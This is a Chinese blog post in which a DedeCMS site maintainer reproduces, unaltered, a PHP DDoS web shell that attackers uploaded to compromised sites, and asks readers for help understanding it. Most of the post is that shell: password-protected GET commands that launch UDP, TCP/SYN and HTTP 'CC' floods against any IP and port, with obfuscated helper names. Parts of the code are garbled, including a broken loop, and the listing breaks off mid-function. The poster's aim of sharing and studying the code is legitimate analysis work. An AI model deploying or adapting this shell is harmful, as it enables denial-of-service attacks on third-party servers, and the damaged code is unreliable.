dede的一些攻击代码一

维护dede(织梦)系统的站长会常常看到一些陌生的文件,这些文件都是被攻击后,黑客上传的代码。


文件的代码我就不改动了,以下是最原始的代码。

<?php 
$password="xxjh123";
$ip = gethostbyname($_SERVER["SERVER_NAME"]);
$ddos_version="6.6+";

//POWER-BY   这样代码原来黑客推广的网站,去现在暂时改成本站的网站。 
//最新修改 BY QQ:11206923
//血腥DDOS-6.6+版本支持TCP,UDP,CC等功能
$key_file="key.txt";
if(!is_file_exists($key_file)){
    write_file($key_file,"",true);
}
$include_key_file = include $key_file;
if(!isset($_GET["act"])){
    exit_and_print('www.liqingbo.cn');
}
if($_GET["act"]=="die"){
    if(!is_function_exists("fsockopen")){exit_and_print("error:SHELL服务器缺少必要函数支持.");}
    if(!is_function_exists("set_time_limit") or !is_function_exists("ignore_user_abort")){
        exit_and_print("error:SHELL服务器无法启动自动攻击.");}
    if(@strip($_GET["pass"])<>strip($password)){exit_and_print("error:SHELL密码错误,无法攻击.");}
    write_file($key_file,"",true);
    exit_and_print("died");
}
if($_GET["act"]=="view"){
    if(!is_function_exists("fsockopen")){exit_and_print("error:SHELL服务器缺少必要函数支持.");}
    if(!is_function_exists("set_time_limit") or !is_function_exists("ignore_user_abort")){exit_and_print("error:SHELL服务器无法启动自动攻击.");}
    if(@strip($_GET["pass"])<>strip($password)){exit_and_print("error:SHELL密码错误,无法攻击.");}
    exit_and_print("ok:".$ddos_version."|".$ip."|".$include_key_file);
}
if($_GET["act"]=="attack"){
    ignore_user_abort (true);
    set_time_limit(0);
    $process_times = 0;
    if(!isset($_GET["ip"]) or !isset($_GET["port"]) or !isset($_GET["exec_time"]) or !isset($_GET["att_size"])){exit_and_print("error:参数提交错误");}
    if(@strip($_GET["pass"])<>strip($password)){exit_and_print("error:SHELL密码错误,无法攻击.");}
    write_file($key_file,"",true);
    $ip = gethostbyname($_GET["ip"]);
    $rand = strip($_GET["port"]);
    $exec_time = strip($_GET["exec_time"]);
    $att_size= strip($_GET["att_size"]);
    @$att_type= strip($_GET["att_type"]);
    @$att_web= strip($_GET["att_web"]);
    @$att_blqs= strip($_GET["att_blqs"]);
    @$att_bljs= strip($_GET["att_bljs"]);
    $time =  time();
    $max_time = $time+$exec_time;
    $out="";
    for($i=0;$i $max_time){write_file($key_file,"",true);break;}
            if($att_type!=="tcp"){
                if($att_type=="udp"){#UDP
                    $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
                    if($fp){fwrite($fp, $out);}
                }
                else if($att_type=="cc"){#CC
                    $fp = fsockopen(oOoOOoOOoo00O0OOO0O($att_web), o0ooo0($att_web), $errno, $errstr, 5);
                    $Aanvraag = "GET ".o0o0o0o0o0o0o0O0O0o0O0O0o0($att_web,$att_blqs,$att_bljs)." HTTP/1.1\r\n";
                    $Aanvraag .= "Referer: http://".oOoOOoOOoo00O0OOO0O($att_web)."/?".$out." \r\n";
                    $Aanvraag .= "Accept: */*\r\n";
                    $Aanvraag .= "Accept-Language: zh-CN, zh, *\r\n";
                    $Aanvraag .= "Accept-Encoding: gzip, deflate\r\n";
                    $Aanvraag .= "User-Agent: Mozilla/4.0 (compatible;MSIE 6.0;Windows NT 5.1)\r\n";
                    $Aanvraag .= "Host: ".oOoOOoOOoo00O0OOO0O($att_web).":".o0ooo0($att_web)."\r\n";
                    $Aanvraag .= "Connection: Keep-Alive\r\n\r\n";
                    fwrite($fp, $Aanvraag);
                }else{#syn
                /*
                    if($process_times == 1){
                        $fp = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
                        @socket_set_nonblock($fp);
                        $_ = explode('|', $att_size);
                        $nums = intval($_[0])?intval($_[0]):20;
                        $sleep = intval($_[1])?intval($_[1]):100;
                    }
                    for ($j = 0; $j < $nums; $j++)@socket_connect($fp, $ip, $rand);
                    usleep($sleep);
                */
                    for ($j = 0; $j < 20; $j++)$fp = fsockopen("tcp://$ip", $rand, $errno, $errstr,0);
                }
            }else{#TCP
                $fp = fsockopen("$ip", $rand, $errno, $errstr, 5);
                if($fp){fputs($fp, $out);}
            }
            fclose($fp);
        }elseif($include_key_file=="die"){       die("I am dying!");}
    }#END WHILE
    @exit_and_print("over");
}
function write_file($file,$contents,$flag=false){   $file=dirname(__FILE__)."/".$file;
if ($flag==false){file_put_contents($file,$contents,FILE_APPEND);
}else{
file_put_contents($file,$contents);
}}function is_function_exists($a){return function_exists($a);
}function strip($a){return trim($a);
}function is_file_exists($a){return file_exists($a);
}function exit_and_print($a){return exit("".$a);
}function make_ddos_str($i){$o0o0o0O0O0O00O00o00o0oO0O0o = "abcdefghijklmnopqrstuvwxyz!@#$%^&*()_+QWERTYUIOP{}ASDFGHJKL:ZXCVBNM<>?/";
$oo0o0O0o00oOo0O0o0OoOOoO0OoOoO = "";
for($o0o0o0ooooooo=0;
$o0o0o0ooooooo

以上有许多的地方去也不明白是什么意思。

也欢迎了解的人一起研究或者指点。

相关文章